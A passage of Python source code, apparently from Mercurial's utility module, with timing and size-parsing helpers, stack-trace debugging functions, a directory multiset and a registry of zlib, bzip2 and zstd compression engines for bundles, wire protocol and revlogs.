     u.user = u.passwd = None
     return str(u)
 
 timecount = unitcountfn(
     (1, 1e3, _('%.0f s')),
     (100, 1, _('%.1f s')),
     (10, 1, _('%.2f s')),
     (1, 1, _('%.3f s')),
     (100, 0.001, _('%.1f ms')),
     (10, 0.001, _('%.2f ms')),
     (1, 0.001, _('%.3f ms')),
     (100, 0.000001, _('%.1f us')),
     (10, 0.000001, _('%.2f us')),
     (1, 0.000001, _('%.3f us')),
     (100, 0.000000001, _('%.1f ns')),
     (10, 0.000000001, _('%.2f ns')),
     (1, 0.000000001, _('%.3f ns')),
     )
 
 _timenesting = [0]
 
 def timed(func):
     '''Report the execution time of a function call to stderr.
 
     During development, use as a decorator when you need to measure
     the cost of a function, e.g. as follows:
 
     @util.timed
     def foo(a, b, c):
         pass
     '''
 
     def wrapper(*args, **kwargs):
         start = timer()
         indent = 2
         _timenesting[0] += indent
         try:
             return func(*args, **kwargs)
         finally:
             elapsed = timer() - start
             _timenesting[0] -= indent
             stderr.write('%s%s: %s\n' %
                          (' ' * _timenesting[0], func.__name__,
                           timecount(elapsed)))
     return wrapper
 
 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
               ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
 
 def sizetoint(s):
     '''Convert a space specifier to a byte count.
 
     >>> sizetoint('30')
     30
     >>> sizetoint('2.2kb')
     2252
     >>> sizetoint('6M')
     6291456
     '''
     t = s.strip().lower()
     try:
         for k, u in _sizeunits:
             if t.endswith(k):
                 return int(float(t[:-len(k)]) * u)
         return int(t)
     except ValueError:
         raise error.ParseError(_("couldn't parse size: %s") % s)
 
 class hooks(object):
     '''A collection of hook functions that can be used to extend a
     function's behavior. Hooks are called in lexicographic order,
     based on the names of their sources.'''
 
     def __init__(self):
         self._hooks = []
 
     def add(self, source, hook):
         self._hooks.append((source, hook))
 
     def __call__(self, *args):
         self._hooks.sort(key=lambda x: x[0])
         results = []
         for source, hook in self._hooks:
             results.append(hook(*args))
         return results
 
 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
     '''Yields lines for a nicely formatted stacktrace.
     Skips the 'skip' last entries, then return the last 'depth' entries.
     Each file+linenumber is formatted according to fileline.
     Each line is formatted according to line.
     If line is None, it yields:
       length of longest filepath+line number,
       filepath+linenumber,
       function
 
     Not be used in production code but very convenient while developing.
     '''
     entries = [(fileline % (fn, ln), func)
         for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
         ][-depth:]
     if entries:
         fnmax = max(len(entry[0]) for entry in entries)
         for fnln, func in entries:
             if line is None:
                 yield (fnmax, fnln, func)
             else:
                 yield line % (fnmax, fnln, func)
 
 def debugstacktrace(msg='stacktrace', skip=0,
                     f=stderr, otherf=stdout, depth=0):
     '''Writes a message to f (stderr) with a nicely formatted stacktrace.
     Skips the 'skip' entries closest to the call, then show 'depth' entries.
     By default it will flush stdout first.
     It can be used everywhere and intentionally does not require an ui object.
     Not be used in production code but very convenient while developing.
     '''
     if otherf:
         otherf.flush()
     f.write('%s at:\n' % msg.rstrip())
     for line in getstackframes(skip + 1, depth=depth):
         f.write(line)
     f.flush()
 
 class dirs(object):
     '''a multiset of directory names from a dirstate or manifest'''
 
     def __init__(self, map, skip=None):
         self._dirs = {}
         addpath = self.addpath
         if safehasattr(map, 'iteritems') and skip is not None:
             for f, s in map.iteritems():
                 if s[0] != skip:
                     addpath(f)
         else:
             for f in map:
                 addpath(f)
 
     def addpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if base in dirs:
                 dirs[base] += 1
                 return
             dirs[base] = 1
 
     def delpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if dirs[base] > 1:
                 dirs[base] -= 1
                 return
             del dirs[base]
 
     def __iter__(self):
         return iter(self._dirs)
 
     def __contains__(self, d):
         return d in self._dirs
 
 if safehasattr(parsers, 'dirs'):
     dirs = parsers.dirs
 
 def finddirs(path):
     pos = path.rfind('/')
     while pos != -1:
         yield path[:pos]
         pos = path.rfind('/', 0, pos)
 
 # compression code
 
 SERVERROLE = 'server'
 CLIENTROLE = 'client'
 
 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
                                                (u'name', u'serverpriority',
                                                 u'clientpriority'))
 
 class compressormanager(object):
     """Holds registrations of various compression engines.
 
     This class essentially abstracts the differences between compression
     engines to allow new compression formats to be added easily, possibly from
     extensions.
 
     Compressors are registered against the global instance by calling its
     ``register()`` method.
     """
     def __init__(self):
         self._engines = {}
         # Bundle spec human name to engine name.
         self._bundlenames = {}
         # Internal bundle identifier to engine name.
         self._bundletypes = {}
         # Revlog header to engine name.
         self._revlogheaders = {}
         # Wire proto identifier to engine name.
         self._wiretypes = {}
 
     def __getitem__(self, key):
         return self._engines[key]
 
     def __contains__(self, key):
         return key in self._engines
 
     def __iter__(self):
         return iter(self._engines.keys())
 
     def register(self, engine):
         """Register a compression engine with the manager.
 
         The argument must be a ``compressionengine`` instance.
         """
         if not isinstance(engine, compressionengine):
             raise ValueError(_('argument must be a compressionengine'))
 
         name = engine.name()
 
         if name in self._engines:
             raise error.Abort(_('compression engine %s already registered') %
                               name)
 
         bundleinfo = engine.bundletype()
         if bundleinfo:
             bundlename, bundletype = bundleinfo
 
             if bundlename in self._bundlenames:
                 raise error.Abort(_('bundle name %s already registered') %
                                   bundlename)
             if bundletype in self._bundletypes:
                 raise error.Abort(_('bundle type %s already registered by %s') %
                                   (bundletype, self._bundletypes[bundletype]))
 
             # No external facing name declared.
             if bundlename:
                 self._bundlenames[bundlename] = name
 
             self._bundletypes[bundletype] = name
 
         wiresupport = engine.wireprotosupport()
         if wiresupport:
             wiretype = wiresupport.name
             if wiretype in self._wiretypes:
                 raise error.Abort(_('wire protocol compression %s already '
                                     'registered by %s') %
                                   (wiretype, self._wiretypes[wiretype]))
 
             self._wiretypes[wiretype] = name
 
         revlogheader = engine.revlogheader()
         if revlogheader and revlogheader in self._revlogheaders:
             raise error.Abort(_('revlog header %s already registered by %s') %
                               (revlogheader, self._revlogheaders[revlogheader]))
 
         if revlogheader:
             self._revlogheaders[revlogheader] = name
 
         self._engines[name] = engine
 
     @property
     def supportedbundlenames(self):
         return set(self._bundlenames.keys())
 
     @property
     def supportedbundletypes(self):
         return set(self._bundletypes.keys())
 
     def forbundlename(self, bundlename):
         """Obtain a compression engine registered to a bundle name.
 
         Will raise KeyError if the bundle type isn't registered.
 
         Will abort if the engine is known but not available.
         """
         engine = self._engines[self._bundlenames[bundlename]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def forbundletype(self, bundletype):
         """Obtain a compression engine registered to a bundle type.
 
         Will raise KeyError if the bundle type isn't registered.
 
         Will abort if the engine is known but not available.
         """
         engine = self._engines[self._bundletypes[bundletype]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def supportedwireengines(self, role, onlyavailable=True):
         """Obtain compression engines that support the wire protocol.
 
         Returns a list of engines in prioritized order, most desired first.
 
         If ``onlyavailable`` is set, filter out engines that can't be
         loaded.
         """
         assert role in (SERVERROLE, CLIENTROLE)
 
         attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
 
         engines = [self._engines[e] for e in self._wiretypes.values()]
         if onlyavailable:
             engines = [e for e in engines if e.available()]
 
         def getkey(e):
             # Sort first by priority, highest first. In case of tie, sort
             # alphabetically. This is arbitrary, but ensures output is
             # stable.
             w = e.wireprotosupport()
             return -1 * getattr(w, attr), w.name
 
         return list(sorted(engines, key=getkey))
 
     def forwiretype(self, wiretype):
         engine = self._engines[self._wiretypes[wiretype]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def forrevlogheader(self, header):
         """Obtain a compression engine registered to a revlog header.
 
         Will raise KeyError if the revlog header value isn't registered.
         """
         return self._engines[self._revlogheaders[header]]
 
 compengines = compressormanager()
 
 class compressionengine(object):
     """Base class for compression engines.
 
     Compression engines must implement the interface defined by this class.
     """
     def name(self):
         """Returns the name of the compression engine.
 
         This is the key the engine is registered under.
 
         This method must be implemented.
         """
         raise NotImplementedError()
 
     def available(self):
         """Whether the compression engine is available.
 
         The intent of this method is to allow optional compression engines
         that may not be available in all installations (such as engines relying
         on C extensions that may not be present).
         """
         return True
 
     def bundletype(self):
         """Describes bundle identifiers for this engine.
 
         If this compression engine isn't supported for bundles, returns None.
 
         If this engine can be used for bundles, returns a 2-tuple of strings of
         the user-facing "bundle spec" compression name and an internal
         identifier used to denote the compression format within bundles. To
         exclude the name from external usage, set the first element to ``None``.
 
         If bundle compression is supported, the class must also implement
         ``compressstream`` and `decompressorreader``.
 
         The docstring of this method is used in the help system to tell users
         about this engine.
         """
         return None
 
     def wireprotosupport(self):
         """Declare support for this compression format on the wire protocol.
 
         If this compression engine isn't supported for compressing wire
         protocol payloads, returns None.
 
         Otherwise, returns ``compenginewireprotosupport`` with the following
         fields:
 
         * String format identifier
         * Integer priority for the server
         * Integer priority for the client
 
         The integer priorities are used to order the advertisement of format
         support by server and client. The highest integer is advertised
         first. Integers with non-positive values aren't advertised.
 
         The priority values are somewhat arbitrary and only used for default
         ordering. The relative order can be changed via config options.
 
         If wire protocol compression is supported, the class must also implement
         ``compressstream`` and ``decompressorreader``.
         """
         return None
 
     def revlogheader(self):
         """Header added to revlog chunks that identifies this engine.
 
         If this engine can be used to compress revlogs, this method should
         return the bytes used to identify chunks compressed with this engine.
         Else, the method should return ``None`` to indicate it does not
         participate in revlog compression.
         """
         return None
 
     def compressstream(self, it, opts=None):
         """Compress an iterator of chunks.
 
         The method receives an iterator (ideally a generator) of chunks of
         bytes to be compressed. It returns an iterator (ideally a generator)
         of bytes of chunks representing the compressed output.
 
         Optionally accepts an argument defining how to perform compression.
         Each engine treats this argument differently.
         """
         raise NotImplementedError()
 
     def decompressorreader(self, fh):
         """Perform decompression on a file object.
 
         Argument is an object with a ``read(size)`` method that returns
         compressed data. Return value is an object with a ``read(size)`` that
         returns uncompressed data.
         """
         raise NotImplementedError()
 
     def revlogcompressor(self, opts=None):
         """Obtain an object that can be used to compress revlog entries.
 
         The object has a ``compress(data)`` method that compresses binary
         data. This method returns compressed binary data or ``None`` if
         the data could not be compressed (too small, not compressible, etc).
         The returned data should have a header uniquely identifying this
         compression format so decompression can be routed to this engine.
         This header should be identified by the ``revlogheader()`` return
         value.
 
         The object has a ``decompress(data)`` method that decompresses
         data. The method will only be called if ``data`` begins with
         ``revlogheader()``. The method should return the raw, uncompressed
         data or raise a ``RevlogError``.
 
         The object is reusable but is not thread safe.
         """
         raise NotImplementedError()
 
 class _zlibengine(compressionengine):
     def name(self):
         return 'zlib'
 
     def bundletype(self):
         """zlib compression using the DEFLATE algorithm.
 
         All Mercurial clients should support this format. The compression
         algorithm strikes a reasonable balance between compression ratio
         and size.
         """
         return 'gzip', 'GZ'
 
     def wireprotosupport(self):
         return compewireprotosupport('zlib', 20, 20)
 
     def revlogheader(self):
         return 'x'
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
 
         z = zlib.compressobj(opts.get('level', -1))
         for chunk in it:
             data = z.compress(chunk)
             # Not all calls to compress emit data. It is cheaper to inspect
             # here than to feed empty chunks through generator.
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         def gen():
             d = zlib.decompressobj()
             for chunk in filechunkiter(fh):
                 while chunk:
                     # Limit output size to limit memory.
                     yield d.decompress(chunk, 2 ** 18)
                     chunk = d.unconsumed_tail
 
         return chunkbuffer(gen())
 
     class zlibrevlogcompressor(object):
         def compress(self, data):
             insize = len(data)
             # Caller handles empty input case.
             assert insize > 0
 
             if insize < 44:
                 return None
 
             elif insize <= 1000000:
                 compressed = zlib.compress(data)
                 if len(compressed) < insize:
                     return compressed
                 return None
 
             # zlib makes an internal copy of the input buffer, doubling
             # memory usage for large inputs. So do streaming compression
             # on large inputs.
             else:
                 z = zlib.compressobj()
                 parts = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + 2**20
                     parts.append(z.compress(data[pos:pos2]))
                     pos = pos2
                 parts.append(z.flush())
 
                 if sum(map(len, parts)) < insize:
                     return ''.join(parts)
                 return None
 
         def decompress(self, data):
             try:
                 return zlib.decompress(data)
             except zlib.error as e:
                 raise error.RevlogError(_('revlog decompress error: %s') %
                                         str(e))
 
     def revlogcompressor(self, opts=None):
         return self.zlibrevlogcompressor()
 
 compengines.register(_zlibengine())
 
 class _bz2engine(compressionengine):
     def name(self):
         return 'bz2'
 
     def bundletype(self):
         """An algorithm that produces smaller bundles than ``gzip``.
 
         All Mercurial clients should support this format.
 
         This engine will likely produce smaller bundles than ``gzip`` but
         will be significantly slower, both during compression and
         decompression.
 
         If available, the ``zstd`` engine can yield similar or better
         compression at much higher speeds.
         """
         return 'bzip2', 'BZ'
 
     # We declare a protocol name but don't advertise by default because
     # it is slow.
     def wireprotosupport(self):
         return compewireprotosupport('bzip2', 0, 0)
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
         z = bz2.BZ2Compressor(opts.get('level', 9))
         for chunk in it:
             data = z.compress(chunk)
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         def gen():
             d = bz2.BZ2Decompressor()
             for chunk in filechunkiter(fh):
                 yield d.decompress(chunk)
 
         return chunkbuffer(gen())
 
 compengines.register(_bz2engine())
 
 class _truncatedbz2engine(compressionengine):
     def name(self):
         return 'bz2truncated'
 
     def bundletype(self):
         return None, '_truncatedBZ'
 
     # We don't implement compressstream because it is hackily handled elsewhere.
 
     def decompressorreader(self, fh):
         def gen():
             # The input stream doesn't have the 'BZ' header. So add it back.
             d = bz2.BZ2Decompressor()
             d.decompress('BZ')
             for chunk in filechunkiter(fh):
                 yield d.decompress(chunk)
 
         return chunkbuffer(gen())
 
 compengines.register(_truncatedbz2engine())
 
 class _noopengine(compressionengine):
     def name(self):
         return 'none'
 
     def bundletype(self):
         """No compression is performed.
 
         Use this compression engine to explicitly disable compression.
         """
         return 'none', 'UN'
 
     # Clients always support uncompressed payloads. Servers don't because
     # unless you are on a fast network, uncompressed payloads can easily
     # saturate your network pipe.
     def wireprotosupport(self):
         return compewireprotosupport('none', 0, 10)
 
     # We don't implement revlogheader because it is handled specially
     # in the revlog class.
 
     def compressstream(self, it, opts=None):
         return it
 
     def decompressorreader(self, fh):
         return fh
 
     class nooprevlogcompressor(object):
         def compress(self, data):
             return None
 
     def revlogcompressor(self, opts=None):
         return self.nooprevlogcompressor()
 
 compengines.register(_noopengine())
 
 class _zstdengine(compressionengine):
     def name(self):
         return 'zstd'
 
     @propertycache
     def _module(self):
         # Not all installs have the zstd module available. So defer importing
         # until first access.
         try:
             from . import zstd
             # Force delayed import.
             zstd.__version__
             return zstd
         except ImportError:
             return None
 
     def available(self):
         return bool(self._module)
 
     def bundletype(self):
         """A modern compression algorithm that is fast and highly flexible.
 
         Only supported by Mercurial 4.1 and newer clients.
 
         With the default settings, zstd compression is both faster and yields
         better compression than ``gzip``. It also frequently yields better
         compression than ``bzip2`` while operating at much higher speeds.
 
         If this engine is available and backwards compatibility is not a
         concern, it is likely the best available engine.
         """
         return 'zstd', 'ZS'
 
     def wireprotosupport(self):
         return compewireprotosupport('zstd', 50, 50)
 
     def revlogheader(self):
         return '\x28'
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
         # zstd level 3 is almost always significantly faster than zlib
         # while providing no worse compression. It strikes a good balance
         # between speed and compression.
         level = opts.get('level', 3)
 
         zstd = self._module
         z = zstd.ZstdCompressor(level=level).compressobj()
         for chunk in it:
             data = z.compress(chunk)
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         zstd = self._module
         dctx = zstd.ZstdDecompressor()
         return chunkbuffer(dctx.read_from(fh))
 
     class zstdrevlogcompressor(object):
         def __init__(self, zstd, level=3):
             # Writing the content size adds a few bytes to the output. However,
             # it allows decompression to be more optimal since we can
             # pre-allocate a buffer to hold the result.
             self._cctx = zstd.ZstdCompressor(level=level,
                                              write_content_size=True)
             self._dctx = zstd.ZstdDecompressor()
             self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
             self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
 
         def compress(self, data):
             insize = len(data)
             # Caller handles empty input case.
             assert insize > 0
 
             if insize < 50:
                 return None
 
             elif insize <= 1000000:
                 compressed = self._cctx.compress(data)
                 if len(compressed) < insize:
                     return compressed
                 return None
             else:
                 z = self._cctx.compressobj()
                 chunks = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + self._compinsize
                     chunk = z.compress(data[pos:pos2])
                     if chunk:
                         chunks.append(chunk)
                     pos = pos2
                 chunks.append(z.flush())
 
                 if sum(map(len, chunks)) < insize:
                     return ''.join(chunks)
                 return None
 
         def decompress(self, data):
             insize = len(data)
 
             try:
                 # This was measured to be faster than other streaming
                 # decompressors.
                 dobj = self._dctx.decompressobj()
                 chunks = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + self._decompinsize
                     chunk = dobj.decompress(data[pos:pos2])
                     if chunk:
                         chunks.append(chunk)
                     pos = pos2
                 # Frame should be exhausted, so no finish() API.
 
                 return ''.join(chunks)
             except Exception as e:
                 raise error.RevlogError(_('revlog decompress error: %s') %
                                         str(e))
 
     def revlogcompressor(self, opts=None):
         opts = opts or {}
         return self.zstdrevlogcompressor(self._module,
                                          level=opts.get('level', 3))
 
 compengines.register(_zstdengine())
 
 def bundlecompressiontopics():
     """Obtains a list of available bundle compressions for use in help."""
     # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
     items = {}
 
     # We need to format the docstring. So use a dummy object/type to hold it
     # rather than mutating the original.
     class docobject(object):
         pass
 
     for name in compengines:
         engine = compengines[name]
 
         if not engine.available():
             continue
 
         bt = engine.bundletype()
         if not bt or not bt[0]:
             continue
 
         doc = pycompat.sysstr('``%s``\n    %s') % (
             bt[0], engine.bundletype.__doc__)
 
         value = docobject()
         value.__doc__ = doc
 
         items[bt[0]] = value
 
     return items
 
 # convenient shortcut
 dst = debugstacktrace